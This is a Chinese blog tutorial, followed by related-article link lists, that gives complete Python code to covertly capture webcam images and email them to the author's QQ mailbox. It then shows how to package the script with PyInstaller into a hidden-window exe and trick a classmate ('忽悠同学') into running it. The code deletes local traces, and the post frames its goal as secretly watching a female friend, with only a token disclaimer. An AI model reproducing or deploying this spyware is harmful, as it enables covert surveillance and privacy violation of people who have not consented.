用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
Python中__call__用法实例
Aug 29 Python
Python Requests 基础入门
Apr 07 Python
基于python实现的抓取腾讯视频所有电影的爬虫
Apr 22 Python
详解python使用Nginx和uWSGI来运行Python应用
Jan 09 Python
Python 处理图片像素点的实例
Jan 08 Python
python-序列解包(对可迭代元素的快速取值方法)
Aug 24 Python
基于python解线性矩阵方程(numpy中的matrix类)
Oct 21 Python
python自动点赞功能的实现思路
Feb 26 Python
tensorflow指定CPU与GPU运算的方法实现
Apr 21 Python
使用Pycharm(Python工具)新建项目及创建Python文件的教程
Apr 26 Python
python如何删除列为空的行
Jul 17 Python
python保存大型 .mat 数据文件报错超出 IO 限制的操作
May 10 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
Thinkphp中的volist标签用法简介
2014/06/18 PHP
php中error与exception的区别及应用
2014/07/28 PHP
非常实用的PHP常用函数汇总
2014/12/17 PHP
wordpress安装过程中遇到中文乱码的处理方法
2015/04/21 PHP
浅析PHP7新功能及语法变化总结
2016/06/17 PHP
Laravel程序架构设计思路之使用动作类
2018/06/07 PHP
php模式设计之观察者模式应用实例分析
2019/09/25 PHP
解析arp病毒背后利用的Javascript技术附解密方法
2007/08/06 Javascript
javascript动态添加表格数据行(ASP后台数据库保存例子)
2010/05/08 Javascript
jquery.simple.tree插件 更简单,兼容性更好的无限树插件
2010/09/03 Javascript
js和jquery使按钮失效为不可用状态的方法
2014/01/26 Javascript
javascript数组操作总结和属性、方法介绍
2014/04/05 Javascript
JavaScript分秒倒计时器实现方法
2015/02/02 Javascript
Bootstrap CSS组件之面包屑导航(breadcrumb)
2016/12/17 Javascript
老生常谈的跨域处理
2017/01/11 Javascript
JavaScript中object和Object的区别(详解)
2017/02/27 Javascript
JavaScript数组和对象的复制
2017/03/21 Javascript
jQuery 添加样式属性的优先级别方法(推荐)
2017/06/08 jQuery
Vue下的国际化处理方法
2017/12/18 Javascript
基于vue2.0动态组件及render详解
2018/03/17 Javascript
Vue 实现前端权限控制的示例代码
2019/07/09 Javascript
Jquery+AJAX实现无刷新上传并重命名文件操作示例【PHP后台接收】
2020/05/29 jQuery
举例讲解Linux系统下Python调用系统Shell的方法
2015/11/07 Python
python搭建虚拟环境的步骤详解
2016/09/27 Python
Python实现的基于优先等级分配糖果问题算法示例
2018/04/25 Python
pandas 转换成行列表进行读取与Nan处理的方法
2018/10/30 Python
利用anaconda作为python的依赖库管理方法
2019/08/13 Python
应用OpenCV和Python进行SIFT算法的实现详解
2019/08/21 Python
Python中文分词库jieba,pkusegwg性能准确度比较
2020/02/11 Python
使用Python解析Chrome浏览器书签的示例
2020/11/13 Python
Html5调用手机摄像头并实现人脸识别的实现
2018/12/21 HTML / CSS
MCAKE蛋糕官方网站:一直都是巴黎的味道
2018/02/06 全球购物
企业宣传方案
2014/03/04 职场文书
建筑工地质量标语
2014/06/12 职场文书
太空授课观后感
2015/06/17 职场文书
积极心理学课程心得体会
2016/01/22 职场文书